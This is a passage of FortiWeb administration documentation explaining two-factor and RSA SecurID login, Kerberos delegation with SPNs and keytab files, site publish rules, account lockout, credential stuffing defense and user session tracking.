When the RADIUS server does not require two-factor authentication, form-based authentication via a RADIUS query is complete after the user enters a valid username and password.

If the RADIUS server requires two-factor authentication, after users enter a valid username and password, RADIUS returns an Access-Challenge response. FortiWeb displays a second authentication form that allows users to enter a token code (e.g., an RSA SecurID token code).

Authentication form for two-factor authentication

Alternatively, FortiWeb allows users to authenticate without using the second form by entering both their password and token code in the password field of the initial form. The RADIUS server extracts the token code automatically. The combined entry uses the following format:

```
<password><token_code>
```

For example, if the password is `fortinet` and the code is `123456`, the user enters `fortinet123456` in the **Password** field.

Note: When users enter the password and token code together, any delegation configuration in the site publish rule does not work. Delegation requires a password, and the AD server cannot obtain the password from the combined value.

See also

- ["RSA SecurID authentication"](#) on page 363
- ["Using Kerberos authentication delegation"](#) on page 364
- ["Offloaded authentication and optional SSO configuration"](#) on page 367

RSA SecurID authentication

FortiWeb's default two-factor authentication feature supports RADIUS authentication using RSA SecurID. For details, see ["Two-factor authentication"](#) on page 362.

Alternatively, you can enable the RSA SecurID option in the site publish rule, which allows users to authenticate using their username and RSA SecurID token code. Instead of the regular authentication form, FortiWeb displays a form that captures these two values only. For details, see ["Adding servers to an authentication server pool"](#) on page 355.

RSA SecurID authentication without a password

When you enable RSA SecurID, the authentication delegation options in the site publish rule are not available. These options depend on a password, which FortiWeb's RSA SecurID form does not capture.

See also

- ["Two-factor authentication"](#) on page 362
- ["Using Kerberos authentication delegation"](#) on page 364
- ["Offloaded authentication and optional SSO configuration"](#) on page 367

Changing user passwords at login

By default, FortiWeb's HTTP authentication form provides users with the option to change their password after a successful login. When it is enabled, FortiWeb displays a password change form after the user authenticates successfully.

This feature requires the following configuration:

- The authentication server is Microsoft Active Directory (AD) and provides LDAP over SSL (LDAPS) service.
- In the LDAP query configuration, **Bind Type** is **Regular**. You do not need to enable **Secure Connection** to support the password change at login feature. For details, see ["Configuring an LDAP server"](#) on page 346.
- For the site publish rule configuration, **Authentication Validation Method** is **LDAP**. For details, see ["Offloaded authentication and optional SSO configuration"](#) on page 367.

Using Kerberos authentication delegation

You can configure FortiWeb to use the Kerberos protocol for authentication delegation. Kerberos authentication uses tickets that are encrypted and decrypted by secret keys and do not contain user passwords. FortiWeb uses Kerberos to give clients it has already authenticated access to web applications, not for the initial authentication.

Types of Kerberos authentication delegation

FortiWeb's site publish feature supports two different types of Kerberos authentication delegation. The type you use depends on the client authentication method that you specify:

- **Regular Kerberos delegation**—Users enter a user name and password in an HTML authentication form (the **HTML Form Authentication** or **HTTP Basic Authentication** site publish rule options). FortiWeb then obtains a Kerberos service ticket on behalf of the client to allow it to access the specified web application.
- **Kerberos constrained delegation**—FortiWeb verifies a user's SSL certificate using the certificate authority specified in a server policy or server pool member configuration (**Client Certificate Authentication**). FortiWeb then obtains a Kerberos service ticket on behalf of the client to allow it to access the specified web application.

This authentication delegation configuration requires you to create an Active Directory user for FortiWeb that can act on behalf of the web application. For details, see ["To create an Active Directory \(AD\) user for FortiWeb"](#) on page 375.

If you enable Kerberos authentication for a service, you must specify a delegated HTTP Service Principal Name (SPN) in a site publish rule; if your configuration includes a service running on a server pool, you must create an SPN pool with multiple SPNs for each server that hosts the service. To specify an SPN or configure an SPN pool, see ["Configuring Service Principal Names for Kerberos authentication"](#) on page 365.

For details about the site publish rules settings related to Kerberos, see ["Offloaded authentication and optional SSO configuration"](#) on page 367.

Configuring Windows Authentication for Kerberos authentication delegation

For both types of Kerberos authentication delegation, ensure that Windows Authentication is enabled for the web application and that it uses one of the following provider configurations. You specify a provider using the Windows Authentication advanced settings:

- **Negotiate** and **NTLM** (the default values; **Negotiate** includes Kerberos)
- **Negotiate: Kerberos** (remove **Negotiate** and **NTLM**)


To configure Windows Authentication providers in IIS Manager

When the web application is Microsoft Exchange Outlook Web App (OWA), ensure that **Integrated Windows authentication** is also enabled.

To access the **Integrated Windows authentication** setting:

1. From the Exchange Management Console, in the virtual directory you want to configure, under **Server Configuration**, select **Client Access**.
2. Select the server that hosts the OWA virtual directory, and then click the **Outlook Web App** tab.
3. In the work pane, select the virtual directory that you want to configure, and then click **Properties**.

To configure Integrated Windows authentication for OWA



Configuring Service Principal Names for Kerberos authentication

When you select Kerberos authentication for the authentication delegation in a site publish rule, you must specify a delegated HTTP Service Principal Name (SPN) for each instance of a service that uses Kerberos authentication. If a service runs on more than one server, create an SPN pool for each service instance.

SPN format

```
<service_type >/<instance_name>:<port_number>/<service_name>
```

In a FortiWeb site publish configuration, a valid SPN requires the suffix @<domain> (e.g., @DC1.COM).

For example, for an Exchange server that belongs to the domain dc1.com and has the hostname USER-U3LOJFPLH1, the SPN is http/USER-U3LOJFPLH1.dc1.com@DC1.COM.

To configure an SPN for a single server using Kerberos authentication

1. Go to **Application Delivery > Site Publish > Site Publish** and select the **Site Publish Rule** tab.
To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.
2. To configure Kerberos authentication and specify an SPN for an existing site publish rule, select the rule and click **Edit**. To create a new site publish rule with Kerberos authentication, click **Create New**.
3. If the **Client Authentication Method** is **HTML Form Authentication** or **HTTP Basic Authentication**, select **Kerberos** for **Authentication Delegation**. If the **Client Authentication Method** is **Client Certificate Authentication**, select **Kerberos Constrained Delegation** for **Authentication Delegation**. For details, see [Step 6](#) on page 367.
4. For the **Delegation Mode**, select **Single Server**.
5. For the **Delegated HTTP Service Principal Name**, enter an SPN for the service using Kerberos authentication.
6. When you are finished configuring the site publish rule, click **OK**.

To configure an SPN pool for a server pool using Kerberos authentication

1. Go to **Application Delivery > Site Publish > Service Principal Name Pool**.
To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.
2. Click **Create New**. To add SPNs to an existing SPN pool, select the pool and click **Edit**.
3. Enter a name for the pool. You will use this name to select the pool in other parts of the configuration. The maximum length is 63 characters.
4. Click **OK**.
5. To add an SPN to the pool, click **Create New**.
6. For **IP/Domain**, enter the IP or domain of a server that hosts the service.
7. For **Service Principal Name**, enter the SPN of a server that hosts the service. For details, see ["SPN format"](#) on page 365.
8. Click **OK**.
9. Go to **Application Delivery > Site Publish > Site Publish** and select the **Site Publish Rule** tab.
10. To create a new site publish rule with Kerberos authentication, click **Create New**. To configure Kerberos authentication and specify an SPN pool for an existing site publish rule, select the rule and click **Edit**.
11. If the **Client Authentication Method** is **HTML Form Authentication** or **HTTP Basic Authentication**, select **Kerberos** for **Authentication Delegation**. If the **Client Authentication Method** is **Client Certificate Authentication**, select **Kerberos Constrained Delegation** for **Authentication Delegation**. For details, see [Step 6](#) on page 367.
12. For the **Delegation Mode**, select **Server Pool**.
13. For the **Service Principal Name Pool**, select a configured SPN pool.

14. When you are finished configuring the site publish rule, click **OK**.

See also

- ["Two-factor authentication"](#) on page 362
- ["RSA SecurID authentication"](#) on page 363
- ["Offloaded authentication and optional SSO configuration"](#) on page 367

Offloaded authentication and optional SSO configuration

To configure offloaded authentication with optional SSO

1. Before you configure SSO, create one or more of the following authentication server configurations:

- LDAP (see ["Configuring an LDAP server"](#) on page 346)
- RADIUS (see ["Configuring a RADIUS server"](#) on page 351)

2. Add one or more server configurations to an authentication server pool. For details, see ["Adding servers to an authentication server pool"](#) on page 355.

3. To use Kerberos authentication delegation, do the following:

- Create a Kerberos Key Distribution Center configuration. For details, see ["Configuring a Kerberos Key Distribution Center \(KDC\) server"](#) on page 353.

Because FortiWeb determines the KDC to use based on the realm of the web application, you do not have to specify the KDC in the site publish rule.

- If your client authentication method is **Client Certificate Authentication**, create the AD user account that FortiWeb uses to authenticate itself on behalf of clients and the corresponding keytab file configuration. For details, see ["To create an Active Directory \(AD\) user for FortiWeb"](#) on page 375.

4. If you plan to use HTML form authentication, you can customize the HTML pages that FortiWeb presents to clients during the authentication process. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

5. Go to **Application Delivery > Site Publish > Site Publish** and select the **Site Publish Rule** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

6. Click **Create New** and configure the settings. The settings you select determine which additional settings are displayed:

Name	Type a unique name that can be referenced in other parts of the configuration, such as <code>cms-publisher1</code> . Do not use spaces or special characters. The maximum length is 63 characters.
Request Type	Select one of the following options: • Simple String — Published Site (page 368) contains a literal FQDN

	(fully qualified domain name). • Regular Expression—Published Site (page 368) contains a regular expression designed to match multiple host names or FQDNs.
Published Site	Enter one of the following: • The literal <code>Host : name</code>, such as <code>sharepoint.example.com</code>, that the HTTP requests that match the rule contain (if Request Type (page 367) is Simple String) • A regular expression, such as <code>^*\..example\..edu</code>, that matches all and only the host names that the rule should match (if Request Type (page 367) is Regular Expression). The maximum length is 255 characters. Note: Regular expressions beginning with an exclamation point (<code>!</code>) are not supported. For details about language and regular expression matching, see "Regular expression syntax" on page 829.
Path	Enter the URL of the request for the web application, such as <code>/owa</code>. It must begin with a forward slash (<code>/</code>).
Exchange ActiveSync	Enable to allow Android clients to access to Microsoft Exchange servers through Exchange ActiveSync protocol. Note: If Exchange ActiveSync is enabled, single sign-on (see SSO Support (page 372)), authentication cookie (see Authentication Cookie Timeout (page 369)) and Kerberos authentication (see Authentication Delegation (page 369)) will be not available, and HTTP Basic Authentication (see Client Authentication Method (page 368)) will be the only method to authenticate the clients.
Client Authentication Method	Select one of the following options: • HTML Form Authentication—FortiWeb authenticates clients by presenting an HTML web page with an authentication form. • HTML Basic Authentication—FortiWeb authenticates clients by providing an HTTP <code>AUTH</code> code so that the browser displays its own dialog. • Client Certificate Authentication—FortiWeb validates the HTTP client's personal certificate using the certificate verifier specified in the associated server policy or server pool configuration. • SAML Authentication—FortiWeb uses a SAML server to pass identity information to a service provider via a signed XML document for client authentication. If Exchange ActiveSync is enabled (see Exchange ActiveSync (page 368)), only HTML Basic Authentication will be available.
Log Off Path Type	Select one of the following options: • Simple String—The optional Published Server Log Off Path setting

	is a literal URL. • Regular Expression—The optional Published Server Log Off Path setting is a regular expression designed to match multiple URLs.
Published Server Log Off Path	Optionally, enter one of the following values: • If Log Off Path Type is Simple String, enter the URL of the request that a client sends to log out of the application. • If Log Off Path Type is Regular Expression, enter a regular expression that matches the logoff URL. Ensure that the value is a sub-path of the Path value. For example, if Path is <code>/owa</code>, the following values are valid: <pre>/owa/auth/logoff.aspx</pre> <pre>/owa/logoff.owa</pre> When clients log out of the web application, FortiWeb redirects them to its authentication dialog. Available only when Client Authentication Method (page 368) is HTML Form Authentication.
Authentication Cookie Timeout	Specify the length of time (in minutes) that passes before the cookie that the site publish rule adds expires and the client must re-authenticate. Valid values are from 0 to 216000 minutes. To configure the cookie with no expiration, specify <code>0</code> (the default). The browser only deletes the cookie when the user closes all browser windows. Note: This will be not available if Exchange ActiveSync (see Exchange ActiveSync (page 368)) is enabled.
Authentication Server Pool	Select the pool of servers that FortiWeb uses to authenticate clients. For details, see "Adding servers to an authentication server pool" on page 355. FortiWeb attempts to authenticate the user using each server in the pool, starting with the top-most item in the list and moving downward. Available only when Client Authentication Method (page 368) is HTML Form Authentication or HTML Basic Authentication.
SAML Server	Select the SAML server that FortiWeb uses to authenticate clients. For details, see "Configuring a Security Assertion Markup Language (SAML) server" on page 354. Available only when the Client Authentication Method (page 368) is SAML Authentication.
Authentication Delegation	Select one of the following options:

- **HTTP Basic**—FortiWeb uses HTTP `Authorization:` headers with Base64 encoding to forward the client's credentials to the web application.

Typically, you select this option when the web application supports HTTP protocol-based authentication.

Available only when [Client Authentication Method](#) (page 368) is **HTML Form Authentication** or **HTML Basic Authentication**

- **Kerberos**—After it authenticates the client via the HTTP form or HTTP basic method, FortiWeb obtains a Kerberos service ticket for the specified web application on behalf of the client. It adds the ticket to the HTTP `Authorization:` header of the client request with Base64 encoding.

Available only when [Client Authentication Method](#) (page 368) is **HTML Form Authentication** or **HTML Basic Authentication**

- **Kerberos Constrained Authentication**—After it authenticates the client's certificate, FortiWeb obtains a Kerberos service ticket for the specified web application on behalf of the client. It adds the ticket to the HTTP `Authorization:` header of the client request with Base64 encoding.

Available only when [Client Authentication Method](#) (page 368) is **Client Certificate Authentication**.

- **No Delegation**—FortiWeb does not send the client's credentials to the web application.

Select this option when the web application has no authentication of its own or uses HTML form-based authentication.

Note: If the web application uses HTML form-based authentication, the client is required to authenticate twice: once with FortiWeb and once with the web application's form. **Kerberos** and **Kerberos Constrained Authentication** will be not available if [Exchange ActiveSync](#) (page 368) is enabled.

To work with the Kerberos options, web applications require a specific Windows authentication configuration. For details, see "[Configuring Windows Authentication for Kerberos authentication delegation](#)" on page 364.

If FortiWeb uses a RADUIS server configuration in the authorization server pool to authenticate the client and **RSA SecurID** is selected for that server configuration, any authentication delegation settings in this rule are ignored.

Username Location in Certificate

Use one of the following options to specify how FortiWeb determines the client username:

- **SAN - UPN**—Using the certificate's subjectAltName (Subject

	Alternative Name or SAN) and User Principal Name (UPN) values. These values that contain the username in certificates issued in a Windows environment. For example: <pre>username@domain</pre> • SAN - Email—Using the certificate's subjectAltName (Subject Alternative Name or SAN) and the email address value in the certificate's Subject information. • Subject - Email—Using the email address value in the certificate's Subject information. Note: Because the email value can be an alias rather than the real DC (domain controller) domain, the most reliable method for determining the username is SAN - UPN. Available only when the Client Authentication Method (page 368) is Client Certificate Authentication and the Authentication Delegation (page 369) is Kerberos Constrained Delegation.
Delegation Mode	Select one of the following: • Single Server—Allows you to specify a Delegated HTTP Service Principal Name (page 371) for the site publish rule. • Server Pool—Allows you to specify a Service Principal Name Pool (page 371) for the site publish rule. This option is available only when the Authentication Delegation (page 369) is Kerberos or Kerberos Constrained Delegation.
Delegated HTTP Service Principal Name	Specify the Service Principal Name (SPN) for the web application that clients access using this site publish rule. For details, see "Configuring Service Principal Names for Kerberos authentication" on page 365. Available only when Authentication Delegation is Kerberos or Kerberos Constrained Delegation.
Service Principal Name Pool	Select the SPN pool for the application that clients access using this site publish rule. For details, see "Configuring Service Principal Names for Kerberos authentication" on page 365. Available only when Authentication Delegation (page 369) is Kerberos or Kerberos Constrained Delegation.
Keytab File	Select the keytab file configuration for the AD user that FortiWeb uses to obtain Kerberos service tickets for clients. To add a keytab configuration, go to Application Delivery > Site Publish > Keytab File. For instructions on how to generate the keytab file, see "To create an Active Directory (AD) user for FortiWeb" on page 375. Available only when Authentication Delegation (page 369) is

	Kerberos Constrained Delegation.
Service Principal Name for Keytab File	Specify the Service Principal Name (SPN) of the AD user that is a delegator. It is the SPN that you used to generate the keytab specified by Keytab File (page 371). For details, see "To create an Active Directory (AD) user for FortiWeb" on page 375. For example, <code>host/forti-delegator.dcl.com@DC1.COM</code>. For a Fortiwebsite publishing configuration, a valid SPN requires the suffix <code>@<domain></code> (for example, <code>@DC1.COM</code>). Available only when Authentication Delegation (page 369) is Kerberos Constrained Delegation.
Default Domain Prefix Support	Select to allow users in environments that require users to log in using both a domain and username to log in with just a username. Also specify Default Domain Prefix (page 372). In some environments, the domain controller requires users to log in with the username format <code>domain\username</code>. For example, if the domain is <code>example.com</code> and the username is <code>user1</code>, the user enters <code>EXAMPLE\user1</code>. Alternatively, enable this option and enter <code>EXAMPLE</code> for Default Domain Prefix (page 372). The user enters <code>user1</code> for the username value and FortiWeb automatically adds <code>EXAMPLE\</code> to the HTTP <code>Authorization:</code> header before it forwards it to the web application. Available only when Authentication Delegation (page 369) is HTTP Basic or Kerberos.
Default Domain Prefix	Enter a domain name that FortiWeb adds to the HTTP <code>Authorization:</code> header before it forwards it to the web application. Available only when Default Domain Prefix Support (page 372) is enabled. When Authentication Delegation is Kerberos, ensure that the prefix you enter is the full domain name (for example, <code>example.com</code>).
SSO Support	Enable for single sign-on support. For example, the website for this rule is <code>www1.example.com</code> and SSO Domain (page 373) is <code>.example.com</code>. After FortiWeb authenticates the client for <code>www1.example.com</code>, the client can access <code>www2.example.com</code> without authenticating a second time. Site publishing SSO sessions exist on FortiWeb only; they are not synchronized to the authentication or accounting server. Therefore,

	SSO is not shared with non-web applications. For SSO with other protocols, see the documentation for your FortiGate or other firewall. Note: This will be not available if Exchange ActiveSync (page 368) is enabled.
SSO Domain	Type the domain suffix of <code>Host</code> : names that can share this rule's authentication sessions, such as <code>.example.com</code> . Include the period (<code>.</code>) that precedes the host's name.
Alert Type	Select whether to log authentication failures, successes, or both: • None—Do not generate an alert email or log message. • Failed Only—Only authentication failures generate alert email and log messages. • Successful Only—Only successful authentication generates alert email or log messages. • All—All HTTP authentication attempts, regardless of success or failure, generate alert email, log messages, or both. Event log messages contain the user name, authentication type, success or failure, and source address (for example, <code>User jdoe [Site Publish] login successful from 172.0.2.5</code>) when an end-user successfully authenticates. A similar message is recorded if the authentication fails (for example, <code>User hackers [Site Publish] login failed from 172.0.2.5</code>).

7. Click **OK**.
8. Go to **Application Delivery > Site Publish > Site Publish** and select the **Site Publish Policy** tab.
9. Click **Create New**.
10. In **Name**, type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
11. If you want to prevent users from making further attempts to log in after a specified number of failed login attempts, enable **Account Lockout** and complete the following settings:

Max Login Failures	Enter the number of times that a user can attempt to log in before FortiWeb prevents the user from attempting to log in again. FortiWeb determines whether the user exceeded this threshold based on the number of login attempts that happen within the time period specified by Within. If the user exceeds the threshold and attempts to log in again during the time period configured by Account Block Period (page 374), FortiWeb returns an "Account blocked!" message to the user. You can customize the web page that FortiWeb returns to the blocked user. For details, see "Customizing error and authentication pages (replacement messages)" on page 664.

Within	Enter the length of time, in minutes, which FortiWeb uses to determine if the user has exceeded the maximum number of login attempts specified by Max Login Failures (page 373). Take the configuration that maximum of 3 attempts within 5 minutes is allowed for a example, if a user fails the login for 3 times within the 5 minutes, FortiWeb will lock the user out for a specified period (Account Block Period (page 374)). However, if the user fails login for 2 times within the 5 minutes, FortiWeb will not lock out the user for the third failure happens within next 5 minutes.
Account Block Period	Enter the length of time FortiWeb prevents a user from attempting to log in again after the user has exceeded the number of login attempts specified by Max Login Failures (page 373).

12. If you want to prevent users from credential stuffing attacks, enable **Credential Stuffing Defense** (page 374) and complete the following settings:

Credential Stuffing Defense	Enable to use FortiGuard's Credential Stuffing Defense database to prevent against Credential Stuffing attacks. When this setting is enabled, FortiWeb will evaluate the username (Username Field) and password (Password Field) of the matched login requests against the Credential Stuffing Defense database to identify whether the paired username/password has been spilled. If it has, the specified Action triggers and Trigger Policy is applied. Caution: FortiWeb has no built-in Credential Stuffing Defense database. At least one FortiGuard update is required to install the database, otherwise this feature is ineffective. For details, see "Connecting to FortiGuard services" on page 187.
Action	Select the action that FortiWeb will take against a request when a paired username/password is found in Credential Stuffing Defense database: • Alert—Accept the request and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. Note: Because the deny action is not supported in Offline Protection mode, this option has the same effect as Alert. • Period Block—Block subsequent requests from the client for a specified number of seconds. You can customize the web page that FortiWeb returns to the client

with the HTTP status code. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

Caution: This option is not supported in Offline Protection mode.

Block Period	Type the number of seconds that you want to block a request when a paired username/password is found in Credential Stuffing Defense database. This setting is available only if Action (page 374) is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 60. See also "Monitoring currently blocked IPs" on page 735.
Severity	When the credential stuffing defense generates an attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level FortiWeb uses when it takes the specified action: • Low • Medium • High The default value is Medium.
Trigger Policy	Select which trigger, if any, that FortiWeb will use when it logs or sends an alert email about the credential stuffing hit. For details, see "Configuring triggers" on page 705.

13. Click **Create New** and in **Rule**, select the name of a site publishing rule.

14. Repeat the previous step for each web application that is part of the SSO domain.

15. Click **OK**.

16. Select the site publishing policy in an inline web protection profile. The profile must be used in the policy applying your domain's virtual servers. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.

17. To verify the configuration, log in to one of the web applications, then log in to another web application in the same domain that should be part of the SSO domain.

See also

- ["Offloading HTTP authentication & authorization"](#) on page 343
- ["Two-factor authentication"](#) on page 362
- ["RSA SecurID authentication"](#) on page 363
- ["Using Kerberos authentication delegation"](#) on page 364


To create an Active Directory (AD) user for FortiWeb

If your site publish rule uses **Kerberos Constrained Delegation** for authentication delegation, it requires the following values:

- The SPN of an AD user that FortiWeb uses to obtain Kerberos tickets on behalf of clients.
- The keytab file that corresponds to the AD user.

1. Create an AD user.

For example, create the user `http-delegator`.



2. Generate a Service Principal Name (SPN) for the AD user. Enter the following command using the SetSPN utility and a Windows command prompt:

```
setspn -A host/<service_name>.<domain> <login_domain>\<ad_user_name>
```

where:


<service_name> is the name of the service to register

<domain> is the appropriate domain

<login_domain> is the domain used with the logon name


<ad_user_name> is the AD user name

For example: `setspn -A host/forti-delegator.dcl.com DC1\http-delegator`




You cannot access the delegation settings for a user until it has an SPN.

3. In the properties for the AD user, on the Delegation tab, select **Trust this user for delegation to specified services only**, and then select **Use any authentication protocol**.




4. Click **Add**, and then click **Users or Computers** to open the Select Users or Computers dialog box.
5. For **Enter the object names to select**, enter the name of the computer where the web service resides.


You can use the **hostname** command to retrieve the computer name.



6. Click **OK**, and then, in the Add Services dialog box, under in the list of available services, select the **http** item.



7. Click **OK**.




8. Click OK to close the AD user properties.
9. Use the Ktpass utility to extract a keytab file for the AD user.

Ensure that you generate the keytab file using the SPN you generated for the AD user in [Step 2](#).

For complete information about Ktpass, go to the following location:

[http://technet.microsoft.com/en-us/library/cc779157\(v=ws.10\).aspx](http://technet.microsoft.com/en-us/library/cc779157(v=ws.10).aspx)



```

Administrator: C:\Windows\system32\cmd.exe
C:\Users\Administrator>
C:\Users\Administrator>
C:\Users\Administrator>
C:\Users\Administrator>ktpass -princ host/forti-delegator.dc1.com@DC1.COM -mapuser DC1\http-delegator -ptype KRB5_NT_PRINCIPAL -crypto all -pass Fortinet_123 -out test.keytab
Targeting domain controller: USER-U3LOJFPLH1.dc1.com
Using legacy password setting method
Successfully mapped host/forti-delegator.dc1.com to http-delegator.
Key created.
Key created.
Key created.
Key created.
Key created.
Output keytab to test.keytab:
Keytab version: 0x502
keysize 63 host/forti-delegator.dc1.com@DC1.COM ptype 1 <KRB5_NT_PRINCIPAL> vno 3 etype 0x1 <DES-CBC-CRC> keylength 8 <0xf47ffe10519120d5>
keysize 63 host/forti-delegator.dc1.com@DC1.COM ptype 1 <KRB5_NT_PRINCIPAL> vno 3 etype 0x3 <DES-CBC-MD5> keylength 8 <0xf47ffe10519120d5>
keysize 71 host/forti-delegator.dc1.com@DC1.COM ptype 1 <KRB5_NT_PRINCIPAL> vno 3 etype 0x17 <RC4-HMAC> keylength 16 <0x72bdeh17e23435c3a86de6a07cf0b17b>
keysize 87 host/forti-delegator.dc1.com@DC1.COM ptype 1 <KRB5_NT_PRINCIPAL> vno 3 etype 0x12 <AES256-SHA1> keylength 32 <0x312cae1bc86908e117da3e64a7aa5f16c35ae58929fd059ab2df03140cc742>
keysize 71 host/forti-delegator.dc1.com@DC1.COM ptype 1 <KRB5_NT_PRINCIPAL> vno 3 etype 0x11 <AES128-SHA1> keylength 16 <0x50d99851c6db9669a00b6f87a193393c>
C:\Users\Administrator>

```

Ktpass output the extracted keytab file to the directory of the current user.

For example:

```
C:\Users\Administrator\test.keytab
```

10. To upload the keytab file, go to **Application Delivery > Site Publish > Keytab File**.
11. Click **Create New** and enter a name to use for the file in the web UI.
12. Click **Choose File** and then browse to the file to select it, and then click **OK** to complete the upload.

Example: Enforcing complex passwords

Example Co. web hosting needs to enforce reasonably secure passwords on web applications that do not provide this feature themselves. Since end users already authenticate with the web applications, Example Co. does **not** need to configure FortiWeb with user accounts to apply authentication. In other words, authentication offloading is not required. Instead, they simply need to **enforce** the security policy in the authentication transactions that already exist between the clients and web servers.

To do this, Example Co. would configure and apply an input rule. For details, see ["Validating parameters \("input rules"\)"](#) on page 553. This rule either could use a predefined data type to require password complexity (**Level 2 Password**—see ["Predefined data types"](#) on page 216), or could use a custom-defined data type to allow or

require additional special characters for additional strength. For details, see ["Defining custom data types"](#) on page 559.

Tracking users

The user tracking feature allows you to track sessions by user and capture a username for reference in traffic and attack log messages.

When FortiWeb detects users that match the criteria you specify in a user tracking policy, it stores the session ID and username.

FortiWeb uses the following three modules to track users (descending order of priority):

- User Tracking policy. See ["To create a user tracking policy"](#) on page 383.
- Site Publish rule. See ["To configure offloaded authentication with optional SSO"](#) on page 367.
- Certificate Verification. See [Certificate Verification](#) (page 284) and ["To configure client PKI authentication "](#) on page 458.

If a User Tracking policy is configured, FortiWeb will use the policy to track users. If the User Tracking policy is unable to track a user, FortiWeb will use a Site Publish rule, if any, to track a user. If the Site Publish rule is unable to track a user, FortiWeb will use a client certificate to track a user.

Determining which users to track

FortiWeb tracks only users who have logged in successfully. It uses one of the following methods to determine whether a log in is successful:

- The response matches a condition you specify in the user tracking rule, such as a return code or a string in the response body. You create these conditions in the rule's Authentication Result Condition Table.
- If the response does not match a condition in the table, FortiWeb uses the default result that you select for the rule.

FortiWeb stops tracking users when either of the following two events occur:

- The client request contains the log off URL that you specify in the user tracking rule. (The log off URL setting is optional.)
- The session is idle for longer than the session timeout value you specify in the rule.

Taking action against timed-out sessions

When you enable **Session Timeout Enforcement** in a user tracking rule, you can also configure a **Session Freeze Time**. After a session has been idle for longer than the timeout value, if a request has the session ID of the timed-out session, FortiWeb takes the action you specify in the rule. FortiWeb continues to take this action against requests with the session ID for the length of time specified by **Session Freeze Time**.

User tracking and advanced protection custom rules

You can also use the user tracking feature to create a filter in a custom rule that matches specific users. This type of custom rule requires you to create a user tracking policy and apply it to the protection profile that uses the custom rule. For details, see ["Combination access control & rate limiting"](#) on page 480.



You can apply a user tracking policy using either an inline or Offline Protection profile. However, in Offline Protection mode, **Session Fixation Protection**, **Session Timeout Enforcement**, and the deny, redirect and period block actions are not supported.

To create a user tracking policy

1. Go to **Tracking > User Tracking**, and select the **User Tracking Rule** tab.
2. Click **Create New**, and then complete the following settings:

Name	Enter a name that identifies the rule.
Authentication URL	Enter the URL to match in authorization requests. Ensure that the value begins with a forward slash (/).
Username Field	Enter the username field value to match in authorization requests.
Password Field	Enter the password field value to match in authorization requests.
Session ID Name	Type the name of the session ID that is used to identify each session. Examples of session ID names are <code>sid</code>, <code>PHPSESSID</code>, and <code>JSESSIONID</code>.
Default Authentication Result	Enter the authentication result that FortiWeb associates with requests that match the criteria but do not match an entry in the Authentication Result Condition Table. When the login result is successful, FortiWeb tracks the session using the session ID and username values.
Log Off Path	Optionally, enter the URL of the request that a client sends to log out of the application. When the client sends this URL, FortiWeb stops tracking the user session. Ensure that the value begins with a forward slash (/).
Session Timeout	Enter the length of time in minutes that FortiWeb waits before it stops tracking an inactive user session. Valid values are from 1 to 14400.
Session Fixation Protection	Enable to configure FortiWeb to erase session IDs from the cookie and argument fields of a matching login request. FortiWeb erases the IDs for non-authenticated sessions only. For web applications that do not renew the session cookie when a user logs in, it is possible for an attacker to trick a user into authenticating with a session ID that the attacker acquired earlier. This feature prevents the

attacker from accessing the web app in an authenticated session.

When this feature removes session IDs, FortiWeb does not generate a log message because it is very common for a legitimate user to access a web application using an existing cookie. For example, a client who leaves his or her web browser open between sessions presents the cookie from an earlier session.

Caution: This option is not supported in Offline Protection mode.

Session Timeout Enforcement

Enable to configure FortiWeb to remove the session ID for user sessions that are idle for longer than the session timeout threshold. When a session is reset, the client has to log in again to access the back-end server.

If a session exceeds the timeout threshold, instead of tracking subsequent matching sessions by user, FortiWeb takes the specified action, for a length of time specified by **Session Freeze Time** (page 384).

Caution: This option is not supported in Offline Protection mode.

Credential Stuffing Defense

Enable to use FortiGuard's Credential Stuffing Defense database to prevent against Credential Stuffing attacks. When this setting is enabled, FortiWeb will evaluate the username (Username Field) and password (Password Field) of the matched login requests against the Credential Stuffing Defense database to identify whether the paired username/password has been spilled. If it has, the specified Action triggers and the Trigger Policy is applied.

Caution: FortiWeb has no built-in Credential Stuffing Defense database. At least one FortiGuard update is required to install the database, otherwise this feature is ineffective. For details, see "[Connecting to FortiGuard services](#)" on page 187.

Session Freeze Time

Enter the length of time after a session exceeds the timeout threshold that FortiWeb takes the specified action against requests with the ID of the timed-out session.

After the freeze time has elapsed, FortiWeb removes the session ID for idle sessions but no longer takes the specified action.

Available only when **Session Timeout Enforcement** (page 384) is **On**.

Action

Select the action that FortiWeb takes against requests with the ID of a timed-out session during the specified time period or if the paired username/password is found in Credential Stuffing Defense database:

- **Alert**—Accept the request and generate an alert email and/or log message.
- **Alert & Deny**—Block the request (or reset the connection) and generate an alert email and/or log message.

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "[Customizing error and authentication pages \(replacement messages\)](#)" on page 664.

Note: Because the deny action is not supported in Offline Protection mode, this option has the same effect as **Alert**.

- **Redirect**—Redirect the request to the URL that you specify in the protection profile and generate an alert and/or log message. Also configure [Redirect URL](#) (page 269) and [Redirect URL With Reason](#) (page 269).

Caution: This option is not supported in Offline Protection mode

- **Period Block**—Block subsequent requests from the client for a specified number of seconds.

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "[Customizing error and authentication pages \(replacement messages\)](#)" on page 664.

Caution: This option is not supported in Offline Protection mode

When the action generates a log message, the message field values will be:

- Session Timeout Enforcement message: `Session Timeout Enforcement: triggered by user <username>.`
- Credential Stuffing Defense Violation message: `Triggered by user <username>: Credential Stuffing Defense Violation.`

Available only when [Session Timeout Enforcement](#) (page 384) and/or [Credential Stuffing Defense](#) (page 384) is **On**.

Block Period

Type the number of seconds that you want to block requests with the ID of a timed-out session.

